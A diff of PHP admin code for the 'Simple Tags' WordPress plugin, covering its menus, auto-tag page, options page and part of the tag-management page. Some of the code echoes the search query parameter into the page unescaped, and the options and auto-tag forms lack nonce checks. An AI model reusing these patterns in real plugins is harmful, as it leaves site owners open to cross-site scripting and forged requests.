+		// 17. Helper JS & jQuery & Prototype
+		global $pagenow;
+		$wp_pages = array('post.php', 'post-new.php', 'page.php', 'page-new.php');
+		$st_pages = array('st_manage', 'st_mass_tags', 'st_auto', 'st_mass_terms', 'st_options');
+		if ( in_array($pagenow, $wp_pages) || in_array($_GET['page'], $st_pages) ) {
+			wp_enqueue_script('jquery');
+			wp_enqueue_script('prototype');
+		}
+
+		// 18. Helper Bcomplete JS
+		if ( $_GET['page'] == 'st_mass_tags' && $this->options['use_autocompletion'] == 1 ) {
+			add_action('admin_head', array(&$this, 'helperMassBCompleteJS'));
+		}
+
+		return;
+	}
+
+	/**
+	 * Add WP admin menu for Tags
+	 *
+	 */
+	function adminMenu() {	
+		add_management_page( __('Simple Tags: Manage Tags', 'simpletags'), __('Manage Tags', 'simpletags'), 'simple_tags', 'st_manage', array(&$this, 'pageManageTags'));
+		add_management_page( __('Simple Tags: Mass Edit Tags', 'simpletags'), __('Mass Edit Tags', 'simpletags'), 'simple_tags', 'st_mass_tags', array(&$this, 'pageMassEditTags'));
+		add_management_page( __('Simple Tags: Auto Tags', 'simpletags'), __('Auto Tags', 'simpletags'), 'simple_tags', 'st_auto', array(&$this, 'pageAutoTags'));	
+		add_options_page( __('Simple Tags: Options', 'simpletags'), __('Simple Tags', 'simpletags'), 'simple_tags', 'st_options', array(&$this, 'pageOptions'));
+	}
+
+	/**
+	 * WP Page - Auto Tags
+	 *
+	 */
+	function pageAutoTags() {
+		$action = false;
+		if ( isset($_POST['update_auto_list']) ) {
+			// Tags list
+			$tags_list = stripslashes($_POST['auto_list']);
+			$tags = explode(',', $tags_list);
+
+			// Remove empty and duplicate elements
+			$tags = array_filter($tags, array(&$this, 'deleteEmptyElement'));
+			$tags = array_unique($tags);
+
+			$this->setOption( 'auto_list', maybe_serialize($tags) );
+
+			// Active auto tags ?
+			if ( $_POST['use_auto_tags'] == '1' ) {
+				$this->setOption( 'use_auto_tags', '1' );
+			} else {
+				$this->setOption( 'use_auto_tags', '0' );
+			}
+			
+			// All tags ?
+			if ( $_POST['at_all'] == '1' ) {
+				$this->setOption( 'at_all', '1' );
+			} else {
+				$this->setOption( 'at_all', '0' );
+			}
+			
+			// Empty only ?
+			if ( $_POST['at_empty'] == '1' ) {
+				$this->setOption( 'at_empty', '1' );
+			} else {
+				$this->setOption( 'at_empty', '0' );
+			}
+
+			$this->saveOptions();
+			$this->message = __('Auto tags options updated !', 'simpletags');
+		} elseif ( $_GET['action'] == 'auto_tag' ) {
+			$action = true;
+			$n = ( isset($_GET['n']) ) ? intval($_GET['n']) : 0;
+		}
+
+		$tags_list = '';
+		$tags = maybe_unserialize($this->options['auto_list']);
+		if ( is_array($tags) ) {
+			$tags_list = implode(', ', $tags);
+		}
+
+		$this->displayMessage();
+		?>
+		<div class="wrap st_wrap">
+			<h2><?php _e('Simple Tags: Auto Tags', 'simpletags'); ?></h2>
+			<p><?php _e('Visit the <a href="http://code.google.com/p/simple-tags/wiki/ThemeIntegration">plugin\'s homepage</a> for further details. If you find a bug, or have a fantastic idea for this plugin, <a href="mailto:amaury@wordpress-fr.net">ask me</a> !', 'simpletags'); ?></p>
+
+			<?php if ( $action === false ) : ?>
+
+				<h3><?php _e('Auto tags list', 'simpletags'); ?></h3>
+				<p><?php _e('This feature allows Wordpress to look into post content and title for specified tags when saving posts. If your post content or title contains the word "WordPress" and you have "wordpress" in auto tags list, Simple Tags will add automatically "wordpress" as tag for this post.', 'simpletags'); ?></p>
+
+				<form action="<?php echo $this->admin_base_url.'st_auto'; ?>" method="post">
+					<p><input type="checkbox" id="use_auto_tags" name="use_auto_tags" value="1" <?php echo ( $this->options['use_auto_tags'] == 1 ) ? 'checked="checked"' : ''; ?>  />
+						<label for="use_auto_tags"><?php _e('Active Auto Tags.', 'simpletags'); ?></label></p>
+						
+					<p><input type="checkbox" id="at_all" name="at_all" value="1" <?php echo ( $this->options['at_all'] == 1 ) ? 'checked="checked"' : ''; ?>  />
+						<label for="at_all"><?php _e('Use also local tags database with auto tags. (Warning, this option can increases the CPU consumption a lot if you have many tags)', 'simpletags'); ?></label></p>
+						
+					<p><input type="checkbox" id="at_empty" name="at_empty" value="1" <?php echo ( $this->options['at_empty'] == 1 ) ? 'checked="checked"' : ''; ?>  />
+						<label for="at_empty"><?php _e('Autotag only posts without tags.', 'simpletags'); ?></label></p>
+
+					<p><label for="auto_list"><?php _e('Keywords list: (separated with a comma)', 'simpletags'); ?></label><br />
+						<input type="text" id="auto_list" class="auto_list" name="auto_list" value="<?php echo $tags_list; ?>" /></p>
+
+					<?php $this->helperBCompleteJS( 'auto_list', false  ); ?>
+
+					<p class="submit">
+						<input type="submit" name="update_auto_list" value="<?php _e('Update list &raquo;', 'simpletags'); ?>" />
+				</form>
+
+				<h3><?php _e('Auto tags old content', 'simpletags'); ?></h3>
+				<p><?php _e('Simple Tags can also tag all existing contents of your blog. This feature use auto tags list above-mentioned.', 'simpletags'); ?>
+					<br /><strong><a href="<?php echo $this->admin_base_url.'st_auto'; ?>&amp;action=auto_tag"><?php _e('Auto tags all content', 'simpletags'); ?></a></strong></p>
+
+			<?php else:
+
+				// Page or not ?
+				$post_type_sql = ( $this->options['use_tag_pages'] == '1' ) ? "post_type IN('page', 'post')" : "post_type = 'post'";
+
+				// Get objects
+				global $wpdb;
+				$objects = (array) $wpdb->get_results("SELECT p.ID, p.post_title, p.post_content FROM {$wpdb->posts} p WHERE {$post_type_sql} ORDER BY ID DESC LIMIT {$n}, 20");
+				
+				if( !empty($objects) ) {
+					echo '<ul>';
+					foreach( $objects as $object ) {
+						$this->autoTagsPost( $object->ID, $object->post_content, $object->post_title );			
+
+						echo '<li>#'. $object->ID .' '. $object->post_title .'</li>';
+						unset($object);
+					}					
+					echo '</ul>';
+					?>
+					<p><?php _e("If your browser doesn't start loading the next page automatically click this link:", 'simpletags'); ?> <a href="<?php echo $this->admin_base_url.'st_auto'; ?>&amp;action=auto_tag&amp;n=<?php echo ($n + 20) ?>"><?php _e('Next content', 'simpletags'); ?></a></p>
+					<script type="text/javascript">
+						// <![CDATA[
+						function nextPage() {
+							location.href = '<?php echo $this->admin_base_url.'st_auto'; ?>&action=auto_tag&n=<?php echo ($n + 20) ?>';
+						}
+						window.setTimeout( 'nextPage()', 300 );
+						// ]]>
+					</script>
+					<?php
+				} else {
+					wp_cache_flush();
+					echo '<p><strong>'.__('All done!', 'simpletags').'</strong></p>';
+				}
+				
+			endif;
+			$this->printAdminFooter(); ?>
+		</div>
+		<?php
+	}
+
+	/**
+	 * WP Page - Tags options
+	 *
+	 */
+	function pageOptions() {
+		$option_data = array(
+			'general' => array(
+				array('inc_page_tag_search', __('Include page in tag search:', 'simpletags'), 'checkbox', '1',
+					__('This feature need that option "Add page in tags management" is enabled.', 'simpletags')),
+				array('allow_embed_tcloud', __('Allow tag cloud in post/page content:', 'simpletags'), 'checkbox', '1',
+					__('Enabling this will allow Wordpress to look for tag cloud marker <code>&lt;!--st_tag_cloud--&gt;</code> when displaying posts. WP replace this marker by a tag cloud.', 'simpletags')),
+				array('auto_link_tags', __('Active auto link tags into post content:', 'simpletags'), 'checkbox', '1',
+					__('Example: You have a tag called "WordPress" and your post content contains "wordpress", this feature will replace "wordpress" by a link to "wordpress" tags page. (http://myblog.net/tag/wordpress/)', 'simpletags')),
+				array('auto_link_min', __('Min usage for auto link tags:', 'simpletags'), 'text', 10,
+					__('This parameter allows to fix a minimal value of use of tags. Default: 1.', 'simpletags')),
+				array('auto_link_case', __('Ignore case for auto link feature ?', 'simpletags'), 'checkbox', '1',
+					__('Example: If you ignore case, auto link feature will replace the word "wordpress" by the tag link "WordPress".', 'simpletags')),
+				array('no_follow', __('Add the rel="nofollow" on each tags link ?', 'simpletags'), 'checkbox', '1',
+					__("Nofollow is a non-standard HTML attribute value used to instruct search engines that a hyperlink should not influence the link target's ranking in the search engine's index.",'simpletags'))
+			),
+			'administration' => array(
+				array('use_tag_pages', __('Add page in tags management:', 'simpletags'), 'checkbox', '1',
+					__('Add a tag input (and tag posts features) in page edition', 'simpletags')),
+				array('use_click_tags', __('Activate click tags feature:', 'simpletags'), 'checkbox', '1',
+					__('This feature add a link allowing you to display all the tags of your database. Once displayed, you can click over to add tags to post.', 'simpletags')),
+				array('use_autocompletion', __('Activate autocompletion feature:', 'simpletags'), 'checkbox', '1',
+					__('This feature displays a visual help allowing to enter tags more easily.', 'simpletags')),
+				array('use_suggested_tags', __('Activate suggested tags feature: (Yahoo! Term Extraction API, Tag The Net, Local DB)', 'simpletags'), 'checkbox', '1',
+					__('This feature add a box allowing you get suggested tags, by comparing post content and various sources of tags. (external and internal)', 'simpletags'))					
+			),
+			'metakeywords' => array(
+				array('meta_autoheader', __('Automatically include in header:', 'simpletags'), 'checkbox', '1',
+					__('Includes the meta keywords tag automatically in your header (most, but not all, themes support this). These keywords are sometimes used by search engines.<br /><strong>Warning:</strong> If the plugin "All in One SEO Pack" is installed and enabled. This feature is disabled.', 'simpletags')),
+				array('meta_always_include', __('Always add these keywords:', 'simpletags'), 'text', 80),
+				array('meta_keywords_qty', __('Max keywords display:', 'simpletags'), 'text', 10,
+					__('You must set zero (0) for display all keywords in HTML header.', 'simpletags')),				
+			),
+			'embeddedtags' => array(
+				array('use_embed_tags', __('Use embedded tags:', 'simpletags'), 'checkbox', '1',
+					__('Enabling this will allow Wordpress to look for embedded tags when saving and displaying posts. Such set of tags is marked <code>[tags]like this, and this[/tags]</code>, and is added to the post when the post is saved, but does not display on the post.', 'simpletags')),
+				array('start_embed_tags', __('Prefix for embedded tags:', 'simpletags'), 'text', 40),
+				array('end_embed_tags', __('Suffix for embedded tags:', 'simpletags'), 'text', 40)
+			),
+			'tagspost' => array(
+				array('tt_feed', __('Automatically display tags list into feeds', 'simpletags'), 'checkbox', '1'),
+				array('tt_embedded', __('Automatically display tags list into post content:', 'simpletags'), 'dropdown', 'no/all/blogonly/feedonly/homeonly/singularonly/pageonly/singleonly',
+					'<ul>
+						<li>'.__('<code>no</code> &ndash; Nowhere (default)', 'simpletags').'</li>
+						<li>'.__('<code>all</code> &ndash; On your blog and feeds.', 'simpletags').'</li>
+						<li>'.__('<code>blogonly</code> &ndash; Only on your blog.', 'simpletags').'</li>
+						<li>'.__('<code>homeonly</code> &ndash; Only on your home page.', 'simpletags').'</li>
+						<li>'.__('<code>singularonly</code> &ndash; Only on your singular view (single & page).', 'simpletags').'</li>
+						<li>'.__('<code>singleonly</code> &ndash; Only on your single view.', 'simpletags').'</li>
+						<li>'.__('<code>pageonly</code> &ndash; Only on your page view.', 'simpletags').'</li>
+					</ul>'),
+				array('tt_separator', __('Post tag separator string:', 'simpletags'), 'text', 10),				
+				array('tt_before', __('Text to display before tags list:', 'simpletags'), 'text', 40),
+				array('tt_after', __('Text to display after tags list:', 'simpletags'), 'text', 40),
+				array('tt_number', __('Max tags display:', 'simpletags'), 'text', 10,
+					__('You must set zero (0) for display all tags.', 'simpletags')),
+				array('tt_inc_cats', __('Include categories in result ?', 'simpletags'), 'checkbox', '1'),
+				array('tt_xformat', __('Tag link format:', 'simpletags'), 'text', 80,
+					__('You can find markers and explanations <a href="http://code.google.com/p/simple-tags/wiki/ThemeIntegration">in the online documentation.</a>', 'simpletags')),
+				array('tt_notagstext', __('Text to display if no tags found:', 'simpletags'), 'text', 80),
+				array('tt_adv_usage', __('<strong>Advanced usage</strong>:', 'simpletags'), 'text', 80,
+					__('You can use the same syntax as <code>st_the_tags()</code> function to customize display. See <a href="http://code.google.com/p/simple-tags/wiki/ThemeIntegration">documentation</a> for more details.', 'simpletags'))
+			),
+			'relatedposts' => array(
+				array('rp_feed', __('Automatically display related posts into feeds', 'simpletags'), 'checkbox', '1'),
+				array('rp_embedded', __('Automatically display related posts into post content', 'simpletags'), 'dropdown', 'no/all/blogonly/feedonly/homeonly/singularonly/pageonly/singleonly',
+					'<ul>
+						<li>'.__('<code>no</code> &ndash; Nowhere (default)', 'simpletags').'</li>
+						<li>'.__('<code>all</code> &ndash; On your blog and feeds.', 'simpletags').'</li>
+						<li>'.__('<code>blogonly</code> &ndash; Only on your blog.', 'simpletags').'</li>
+						<li>'.__('<code>homeonly</code> &ndash; Only on your home page.', 'simpletags').'</li>
+						<li>'.__('<code>singularonly</code> &ndash; Only on your singular view (single & page).', 'simpletags').'</li>
+						<li>'.__('<code>singleonly</code> &ndash; Only on your single view.', 'simpletags').'</li>
+						<li>'.__('<code>pageonly</code> &ndash; Only on your page view.', 'simpletags').'</li>
+					</ul>'),
+				array('rp_order', __('Related Posts Order:', 'simpletags'), 'dropdown', 'count-asc/count-desc/date-asc/date-desc/name-asc/name-desc/random',
+					'<ul>
+						<li>'.__('<code>date-asc</code> &ndash; Older Entries.', 'simpletags').'</li>
+						<li>'.__('<code>date-desc</code> &ndash; Newer Entries.', 'simpletags').'</li>
+						<li>'.__('<code>count-asc</code> &ndash; Least common tags between posts', 'simpletags').'</li>
+						<li>'.__('<code>count-desc</code> &ndash; Most common tags between posts (default)', 'simpletags').'</li>
+						<li>'.__('<code>name-asc</code> &ndash; Alphabetical.', 'simpletags').'</li>
+						<li>'.__('<code>name-desc</code> &ndash; Inverse Alphabetical.', 'simpletags').'</li>
+						<li>'.__('<code>random</code> &ndash; Random.', 'simpletags').'</li>
+					</ul>'),
+				array('rp_xformat', __('Post link format:', 'simpletags'), 'text', 80,
+					__('You can find markers and explanations <a href="http://code.google.com/p/simple-tags/wiki/ThemeIntegration">in the online documentation.</a>', 'simpletags')),
+				array('rp_limit_qty', __('Maximum number of related posts to display: (default: 5)', 'simpletags'), 'text', 10),
+				array('rp_notagstext', __('Enter the text to show when there is no related post:', 'simpletags'), 'text', 80),
+				array('rp_title', __('Enter the positioned title before the list, leave blank for no title:', 'simpletags'), 'text', 80),
+				array('rp_adv_usage', __('<strong>Advanced usage</strong>:', 'simpletags'), 'text', 80,
+					__('You can use the same syntax as <code>st_related_posts()</code>function to customize display. See <a href="http://code.google.com/p/simple-tags/wiki/ThemeIntegration">documentation</a> for more details.', 'simpletags'))
+			),
+			'relatedtags' => array(
+				array('rt_number', __('Maximum number of related tags to display: (default: 5)', 'simpletags'), 'text', 10),
+				array('rt_order', __('Order related tags:', 'simpletags'), 'dropdown', 'count-asc/count-desc/name-asc/name-desc/random',
+					'<ul>
+						<li>'.__('<code>count-asc</code> &ndash; Least used.', 'simpletags').'</li>
+						<li>'.__('<code>count-desc</code> &ndash; Most popular. (default)', 'simpletags').'</li>
+						<li>'.__('<code>name-asc</code> &ndash; Alphabetical.', 'simpletags').'</li>
+						<li>'.__('<code>name-desc</code> &ndash; Inverse Alphabetical.', 'simpletags').'</li>
+						<li>'.__('<code>random</code> &ndash; Random.', 'simpletags').'</li>
+					</ul>'),
+				array('rt_format', __('Related tags type format:', 'simpletags'), 'dropdown', 'list/flat',
+					'<ul>
+						<li>'.__('<code>list</code> &ndash; Display a formatted list (ul/li).', 'simpletags').'</li>
+						<li>'.__('<code>flat</code> &ndash; Display inline (no list, just a div)', 'simpletags').'</li>
+					</ul>'),
+				array('rt_method', __('Method of tags intersections and unions used to build related tags link:', 'simpletags'), 'dropdown', 'OR/AND',
+					'<ul>
+						<li>'.__('<code>OR</code> &ndash; Fetches posts with either the "Tag1" <strong>or</strong> the "Tag2" tag. (default)', 'simpletags').'</li>
+						<li>'.__('<code>AND</code> &ndash; Fetches posts with both the "Tag1" <strong>and</strong> the "Tag2" tag.', 'simpletags').'</li>
+					</ul>'),
+				array('rt_xformat', __('Related tags link format:', 'simpletags'), 'text', 80,
+					__('You can find markers and explanations <a href="http://code.google.com/p/simple-tags/wiki/ThemeIntegration">in the online documentation.</a>', 'simpletags')),
+				array('rt_separator', __('Related tags separator:', 'simpletags'), 'text', 10,
+					__('Leave empty for list format.', 'simpletags')),
+				array('rt_notagstext', __('Enter the text to show when there is no related tags:', 'simpletags'), 'text', 80),
+				array('rt_title', __('Enter the positioned title before the list, leave blank for no title:', 'simpletags'), 'text', 80),
+				array('rt_adv_usage', __('<strong>Advanced usage</strong>:', 'simpletags'), 'text', 80,
+					__('You can use the same syntax as <code>st_related_tags()</code>function to customize display. See <a href="http://code.google.com/p/simple-tags/wiki/ThemeIntegration">documentation</a> for more details.', 'simpletags')),
+				// Remove related tags
+				array('text_helper', 'text_helper', 'helper', '', '<hr /><h2>'.__('Remove related Tags', 'simpletags').'</h2>'),
+				array('rt_format', __('Remove related Tags type format:', 'simpletags'), 'dropdown', 'list/flat',
+					'<ul>
+						<li>'.__('<code>list</code> &ndash; Display a formatted list (ul/li).', 'simpletags').'</li>
+						<li>'.__('<code>flat</code> &ndash; Display inline (no list, just a div)', 'simpletags').'</li>
+					</ul>'),
+				array('rt_remove_separator', __('Remove related tags separator:', 'simpletags'), 'text', 10,
+					__('Leave empty for list format.', 'simpletags')),
+				array('rt_remove_notagstext', __('Enter the text to show when there is no remove related tags:', 'simpletags'), 'text', 80),
+				array('rt_remove_xformat', __('Remove related tags  link format:', 'simpletags'), 'text', 80,
+					__('You can find markers and explanations <a href="http://code.google.com/p/simple-tags/wiki/ThemeIntegration">in the online documentation.</a>', 'simpletags')),		
+			),
+			'tagcloud' => array(
+				array('text_helper', 'text_helper', 'helper', '', __('Which difference between <strong>&#8216;Order tags selection&#8217;</strong> and <strong>&#8216;Order tags display&#8217;</strong> ?<br />', 'simpletags')
+					. '<ul style="list-style:square;">
+						<li>'.__('<strong>&#8216;Order tags selection&#8217;</strong> is the first step during tag\'s cloud generation, corresponding to collect tags.', 'simpletags').'</li>
+						<li>'.__('<strong>&#8216;Order tags display&#8217;</strong> is the second. Once tags choosen, you can reorder them before display.', 'simpletags').'</li>
+					</ul>'.
+					__('<strong>Example:</strong> You want display randomly the 100 tags most popular.<br />', 'simpletags').
+					__('You must set &#8216;Order tags selection&#8217; to <strong>count-desc</strong> for retrieve the 100 tags most popular and &#8216;Order tags display&#8217; to <strong>random</strong> for randomize cloud.', 'simpletags')),
+				array('cloud_selection', __('Order tags selection:', 'simpletags'), 'dropdown', 'count-asc/count-desc/name-asc/name-desc/random',
+					'<ul>
+						<li>'.__('<code>count-asc</code> &ndash; Least used.', 'simpletags').'</li>
+						<li>'.__('<code>count-desc</code> &ndash; Most popular. (default)', 'simpletags').'</li>
+						<li>'.__('<code>name-asc</code> &ndash; Alphabetical.', 'simpletags').'</li>
+						<li>'.__('<code>name-desc</code> &ndash; Inverse Alphabetical.', 'simpletags').'</li>
+						<li>'.__('<code>random</code> &ndash; Random.', 'simpletags').'</li>
+					</ul>'),
+				array('cloud_sort', __('Order tags display:', 'simpletags'), 'dropdown', 'count-asc/count-desc/name-asc/name-desc/random',
+					'<ul>
+						<li>'.__('<code>count-asc</code> &ndash; Least used.', 'simpletags').'</li>
+						<li>'.__('<code>count-desc</code> &ndash; Most popular.', 'simpletags').'</li>
+						<li>'.__('<code>name-asc</code> &ndash; Alphabetical.', 'simpletags').'</li>
+						<li>'.__('<code>name-desc</code> &ndash; Inverse Alphabetical.', 'simpletags').'</li>
+						<li>'.__('<code>random</code> &ndash; Random. (default)', 'simpletags').'</li>
+					</ul>'),
+				array('cloud_inc_cats', __('Include categories in tag cloud ?', 'simpletags'), 'checkbox', '1'),
+				array('cloud_format', __('Tags cloud type format:', 'simpletags'), 'dropdown', 'list/flat',
+					'<ul>
+						<li>'.__('<code>list</code> &ndash; Display a formatted list (ul/li).', 'simpletags').'</li>
+						<li>'.__('<code>flat</code> &ndash; Display inline (no list, just a div)', 'simpletags').'</li>
+					</ul>'),
+				array('cloud_xformat', __('Tag link format:', 'simpletags'), 'text', 80,
+					__('You can find markers and explanations <a href="http://code.google.com/p/simple-tags/wiki/ThemeIntegration">in the online documentation.</a>', 'simpletags')),
+				array('cloud_limit_qty', __('Maximum number of tags to display: (default: 45)', 'simpletags'), 'text', 10),
+				array('cloud_notagstext', __('Enter the text to show when there is no tag:', 'simpletags'), 'text', 80),
+				array('cloud_title', __('Enter the positioned title before the list, leave blank for no title:', 'simpletags'), 'text', 80),
+				array('cloud_max_color', __('Most popular color:', 'simpletags'), 'text-color', 10,
+					__("The colours are hexadecimal colours,  and need to have the full six digits (#eee is the shorthand version of #eeeeee).", 'simpletags')),
+				array('cloud_min_color', __('Least popular color:', 'simpletags'), 'text-color', 10),
+				array('cloud_max_size', __('Most popular font size:', 'simpletags'), 'text', 10,
+					__("The two font sizes are the size of the largest and smallest tags.", 'simpletags')),
+				array('cloud_min_size', __('Least popular font size:', 'simpletags'), 'text', 10),
+				array('cloud_unit', __('The units to display the font sizes with, on tag clouds:', 'simpletags'), 'dropdown', 'pt/px/em/%',
+					__("The font size units option determines the units that the two font sizes use.", 'simpletags')),
+				array('cloud_adv_usage', __('<strong>Advanced usage</strong>:', 'simpletags'), 'text', 80,
+					__('You can use the same syntax as <code>st_tag_cloud()</code> function to customize display. See <a href="http://code.google.com/p/simple-tags/wiki/ThemeIntegration">documentation</a> for more details.', 'simpletags'))
+			),
+		);
+
+		// Update or reset options
+		if ( isset($_POST['updateoptions']) ) {
+			foreach((array) $this->options as $key => $value) {
+				$newval = ( isset($_POST[$key]) ) ? stripslashes($_POST[$key]) : '0';
+				$skipped_options = array('use_auto_tags', 'auto_list');
+				if ( $newval != $value && !in_array($key, $skipped_options) ) {
+					$this->setOption( $key, $newval );
+				}
+			}
+			$this->saveOptions();
+			$this->message = __('Options saved', 'simpletags');
+			$this->status = 'updated';
+		} elseif ( isset($_POST['reset_options']) ) {
+			$this->resetToDefaultOptions();
+			$this->message = __('Simple Tags options resetted to default options!', 'simpletags');
+		}
+		
+		// Delete all options ?
+		if ( $_POST['delete_all_options'] == 'true' ) {
+			$this->deleteAllOptions();		
+			$this->message = sprintf( __('All Simple Tags options are deleted ! You <a href="%s">deactive plugin</a> now !', 'simpletags'), $this->info['siteurl']. '/wp-admin/plugins.php');	
+		}
+
+		$this->displayMessage();
+	    ?>
+		<script type="text/javascript" src="<?php echo $this->info['install_url'] ?>/inc/tabs/jquery.tabs.pack.js?ver=<?php echo $this->version; ?>"></script>
+		<script type="text/javascript">
+			jQuery(document).ready( function() {
+				jQuery('#printOptions').tabs({fxSlide: true});
+				
+				jQuery('input#cloud_max_color')
+					.ready(function(){cloudMaxColor()})
+					.click(function(){cloudMaxColor()})
+					.blur(function(){cloudMaxColor()})
+					.change(function(){cloudMaxColor()})
+					.focus(function(){cloudMaxColor()});					
+				function cloudMaxColor() {
+					jQuery('div.cloud_max_color').css({
+						backgroundColor: jQuery('input#cloud_max_color').val()
+					});
+				}
+				
+				jQuery('input#cloud_min_color')
+					.ready(function(){cloudMinColor()})
+					.click(function(){cloudMinColor()})
+					.blur(function(){cloudMinColor()})
+					.change(function(){cloudMinColor()})
+					.focus(function(){cloudMinColor()});					
+				function cloudMinColor() {
+					jQuery('div.cloud_min_color').css({
+						backgroundColor: jQuery('input#cloud_min_color').val()
+					});
+				}				
+			});
+		</script>
+	    <div class="wrap st_wrap">
+			<h2><?php _e('Simple Tags: Options', 'simpletags'); ?></h2>
+			<p><?php _e('Visit the <a href="http://code.google.com/p/simple-tags/wiki/ThemeIntegration">plugin\'s homepage</a> for further details. If you find a bug, or have a fantastic idea for this plugin, <a href="mailto:amaury@wordpress-fr.net">ask me</a> !', 'simpletags'); ?></p>
+			<form action="<?php echo $this->admin_base_url.'st_options'; ?>" method="post">
+				<p class="submit">
+					<input type="submit" name="updateoptions" value="<?php _e('Update Options &raquo;', 'simpletags'); ?>" />
+					<input type="submit" name="reset_options" onclick="return confirm('<?php _e('Do you really want to restore the default options?', 'simpletags'); ?>');" value="<?php _e('Reset Options', 'simpletags'); ?>" /></p>
+
+				<div id="printOptions">
+					<ul class="st_submenu">
+						<?php foreach ( $option_data as $key => $val ) {
+							echo '<li><a href="#'. sanitize_title ( $key ) .'">'.$this->getNiceTitleOptions($key).'</a></li>';
+						} ?>
+						<li><a href="#uninstallation"><?php _e('Uninstallation', 'simpletags'); ?></a></li>
+					</ul>
+
+					<?php echo $this->printOptions( $option_data ); ?>
+					
+					<div id="uninstallation" style="padding:0 30px;">
+						<p><?php _e('Generally, deactivating this plugin does not erase any of its data, if you like to quit using Simple Tags for good, please erase <strong>all</strong> options before deactivating the plugin.', 'simpletags'); ?></p>
+						<p><?php _e('This erases all Simple Tags options. <strong>This is irrevocable! Be careful.</strong>', 'simpletags'); ?></p>
+						<p>
+							<input type="checkbox" value="true" name="delete_all_options" id="delete_all_options" />
+							<label for="delete_all_options"><?php _e('Delete all options ?', 'simpletags'); ?></label></p>
+						
+					</div>
+				</div>
+
+				<p class="submit">
+					<input type="submit" name="updateoptions" value="<?php _e('Update Options &raquo;', 'simpletags'); ?>" />
+					<input type="submit" name="reset_options" onclick="return confirm('<?php _e('Do you really want to restore the default options?', 'simpletags'); ?>');" value="<?php _e('Reset Options', 'simpletags'); ?>" /></p>
+			</form>
+	    <?php $this->printAdminFooter(); ?>
+	    </div>
+
+	    <?php
+	}
+
+	/**
+	 * WP Page - Manage tags
+	 *
+	 */
+	function pageManageTags() {
+		// Control Post data
+		if ( isset($_POST['tag_action']) ) {
+			// Origination and intention
+			if ( !wp_verify_nonce($_POST['tag_nonce'], 'simpletags_admin') ) {
+				$this->message = __('Security problem. Try again. If this problem persist, contact <a href="mailto:amaury@wordpress-fr.net">plugin author</a>.', 'simpletags');
+				$this->status = 'error';
+			}
+			elseif ( $_POST['tag_action'] == 'renametag' ) {
+				$oldtag = (isset($_POST['renametag_old'])) ? $_POST['renametag_old'] : '';
+				$newtag = (isset($_POST['renametag_new'])) ? $_POST['renametag_new'] : '';
+				$this->renameTags( $oldtag, $newtag );
+			}
+			elseif ( $_POST['tag_action'] == 'deletetag' ) {
+				$todelete = (isset($_POST['deletetag_name'])) ? $_POST['deletetag_name'] : '';
+				$this->deleteTagsByTagList( $todelete );
+			}
+			elseif ( $_POST['tag_action'] == 'addtag'  ) {
+				$matchtag = (isset($_POST['addtag_match'])) ? $_POST['addtag_match'] : '';
+				$newtag   = (isset($_POST['addtag_new'])) ? $_POST['addtag_new'] : '';
+				$this->addMatchTags( $matchtag, $newtag );
+			}
+			elseif ( $_POST['tag_action'] == 'editslug'  ) {
+				$matchtag = (isset($_POST['tagname_match'])) ? $_POST['tagname_match'] : '';
+				$newslug   = (isset($_POST['tagslug_new'])) ? $_POST['tagslug_new'] : '';
+				$this->editTagSlug( $matchtag, $newslug );
+			} elseif ( $_POST['tag_action'] == 'cleandb'  ) {
+				$this->cleanDatabase();
+			}
+		}
+
+		// Manage URL
+		$sort_order = ( isset($_GET['tag_sortorder']) ) ? attribute_escape(stripslashes($_GET['tag_sortorder'])) : 'desc';
+		$search_url = ( isset($_GET['search']) ) ? '&amp;search=' . stripslashes($_GET['search']) : '';
+		$action_url = $this->admin_base_url . attribute_escape(stripslashes($_GET['page'])) . '&amp;tag_sortorder=' . $sort_order. $search_url;
+
+		// TagsFilters
+		$order_array = array(
+			'desc' => __('Most popular', 'simpletags'),
+			'asc' => __('Least used', 'simpletags'),
+			'natural' => __('Alphabetical', 'simpletags'));
+
+		// Build Tags Param
+		switch ($sort_order) {
+			case 'natural' :
+				$param = 'number='.$this->nb_tags.'&hide_empty=false&cloud_selection=name-asc';
+				break;
+			case 'asc' :
+				$param = 'number='.$this->nb_tags.'&hide_empty=false&cloud_selection=count-asc';
+				break;
+			default :
+				$param = 'number='.$this->nb_tags.'&hide_empty=false&cloud_selection=count-desc';
+				break;
+		}
+
+
+		// Search
+		if ( !empty($_GET['search']) ) {
+			$search = stripslashes($_GET['search']);
+			$param = str_replace('number='.$this->nb_tags, 'number=200&st_name_like='.$search, $param );
+		}
+
+		$this->displayMessage();
+		?>
+		<div class="wrap st_wrap">
+			<h2><?php _e('Simple Tags: Manage Tags', 'simpletags'); ?></h2>
+			<p><?php _e('Visit the <a href="http://code.google.com/p/simple-tags/wiki/ThemeIntegration">plugin\'s homepage</a> for further details. If you find a bug, or have a fantastic idea for this plugin, <a href="mailto:amaury@wordpress-fr.net">ask me</a> !', 'simpletags'); ?></p>
+			<table>
+				<tr>
+					<td class="list_tags">
+						<fieldset class="options" id="taglist">
+							<legend><?php _e('Existing Tags', 'simpletags'); ?></legend>
+
+							<form method="get">
+								<p>
+									<label for="search"><?php _e('Search tags', 'simpletags'); ?></label><br />
+									<input type="hidden" name="page" value="<?php echo attribute_escape(stripslashes($_GET['page'])); ?>" />
+									<input type="hidden" name="tag_sortorder" value="<?php echo $sort_order; ?>" />
+									<input type="text" name="search" id="search" size="10" value="<?php echo stripslashes($_GET['search']); ?>" />
+									<input class="button" type="submit" value="<?php _e('Go', 'simpletags'); ?>" /></p>
+							</form>
+
+							<div><?php _e('Sort Order:', 'simpletags'); ?></div>
+							<p style="margin:0 0 10px 10px; padding:0;">
+								<?php
+								foreach( $order_array as $sort => $title ) {
+									echo ($sort == $sort_order) ? '<span style="color: red;">'.$title.'</span><br />' : '<a href="'.$this->admin_base_url.attribute_escape(stripslashes($_GET['page'])).'&amp;tag_sortorder='.$sort.$search_url.'">'.$title.'</a><br/>';
+								}
+								?>
+							</p>
+
+							<div id="ajax_area_tagslist">
+								<ul>
+									<?php
+									global $simple_tags;
+									$tags = (array) $simple_tags->getTags($param, true);
+									foreach( $tags as $tag ) {
+										echo '<li><strong>'.$tag->term_id.'.</strong> <span>'.$tag->name.'</span>&nbsp;<a href="'.(get_tag_link( $tag->term_id )).'" title="'.sprintf(__('View all posts tagged with %s', 'simpletags'), $tag->name).'">('.$tag->count.')</a></li>'."\n";
+									}
+									unset($tags);
+									?>
+								</ul>
+
+								<?php
+									$total = wp_count_terms('post_tag');
+									if ( empty($_GET['search']) && ($total > $this->nb_tags ) ) :
+								?>
+								<div class="navigation">
